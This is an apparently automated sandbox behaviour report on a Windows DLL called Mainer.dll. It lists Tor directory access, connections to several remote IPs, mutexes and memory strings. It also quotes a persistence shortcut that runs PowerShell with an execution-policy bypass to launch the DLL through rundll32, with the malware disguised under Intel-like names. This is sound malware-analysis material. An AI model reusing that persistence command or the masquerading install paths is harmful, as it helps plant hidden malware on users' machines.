Binary string: C:\Users\radu\OneDrive\Documents\Projects\RootServer\Mainer\bin\Release\net8.0\win-x64\native\Mainer.pdb source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti\data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 84.19.176.161 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 79.130.19.119 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 107.189.8.65 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.196.220.82 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 204.8.96.82 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 104.244.76.24 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 178.195.212.233 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 136.243.3.194 8000

Source: global traffic	TCP traffic: 192.168.2.6:49744 -> 79.130.19.119:9001
Source: global traffic	TCP traffic: 192.168.2.6:49772 -> 185.196.220.82:9001
Source: global traffic	TCP traffic: 192.168.2.6:49847 -> 178.195.212.233:9001
Source: global traffic	TCP traffic: 192.168.2.6:49848 -> 136.243.3.194:8000

Source: Joe Sandbox View	ASN Name: OTENET-GRAthens-GreeceGR OTENET-GRAthens-GreeceGR
Source: Joe Sandbox View	ASN Name: PONYNETUS PONYNETUS
Source: Joe Sandbox View	ASN Name: IPLUS-ASUZ IPLUS-ASUZ

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.244.76.24
Source: unknown	TCP traffic detected without corresponding DNS query: 79.130.19.119
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 84.19.176.161
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.220.82
Source: unknown	TCP traffic detected without corresponding DNS query: 204.8.96.82
Source: unknown	TCP traffic detected without corresponding DNS query: 204.8.96.82
Source: unknown	TCP traffic detected without corresponding DNS query: 107.189.8.65
Source: unknown	TCP traffic detected without corresponding DNS query: 107.189.8.65
Source: unknown	TCP traffic detected without corresponding DNS query: 204.8.96.82
Source: unknown	TCP traffic detected without corresponding DNS query: 107.189.8.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.220.82

Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.css
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.jpg
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7E67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D6725000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY#
Source: rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: rundll32.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY#
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy#
Source: powershell.exe, 0000000D.00000002.2277248510.00000258614EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2277248510.00000258614C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2293471289.00000204444E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2293471289.00000204444CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C6571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/fsharpk
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtimeK
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/icedland
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/icedland/iced
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/secana/PeNet
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C71A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7E67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D6725000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.244.76.24:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.19.176.161:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.244.76.24:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.19.176.161:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.189.8.65:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.189.8.65:443 -> 192.168.2.6:49796 version: TLS 1.2

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: IntelManagementuser.lnk.23.dr

LNK file: -NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll,DllMainerUserOnly

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD32260EF0	13_2_00007FFD32260EF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD32262765	13_2_00007FFD32262765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD322625FA	13_2_00007FFD322625FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD3228168F	17_2_00007FFD3228168F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD322825ED	17_2_00007FFD322825ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD32282045	17_2_00007FFD32282045
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD322816D1	23_2_00007FFD322816D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD32283CF2	23_2_00007FFD32283CF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD322810FA	23_2_00007FFD322810FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD322825F8	23_2_00007FFD322825F8

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7732 -s 380

Source: JkICQ13OOY.dll

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2399
Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2399
Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2286
Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2399
Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2399
Source: C:\Windows\System32\rundll32.exe	Process created: Commandline size = 2286

Source: classification engine

Classification label: mal80.evad.winDLL@90/45@0/9

Source: C:\Windows\System32\rundll32.exe

File created: C:\Program Files\IntelProfileUpdater

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\error.txt

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:988:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3620:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\logger-writer-locker
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7732
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\data_loader_inner_block_1
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7284:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yjprde3a.chi.ps1

Jump to behavior

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainer

Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
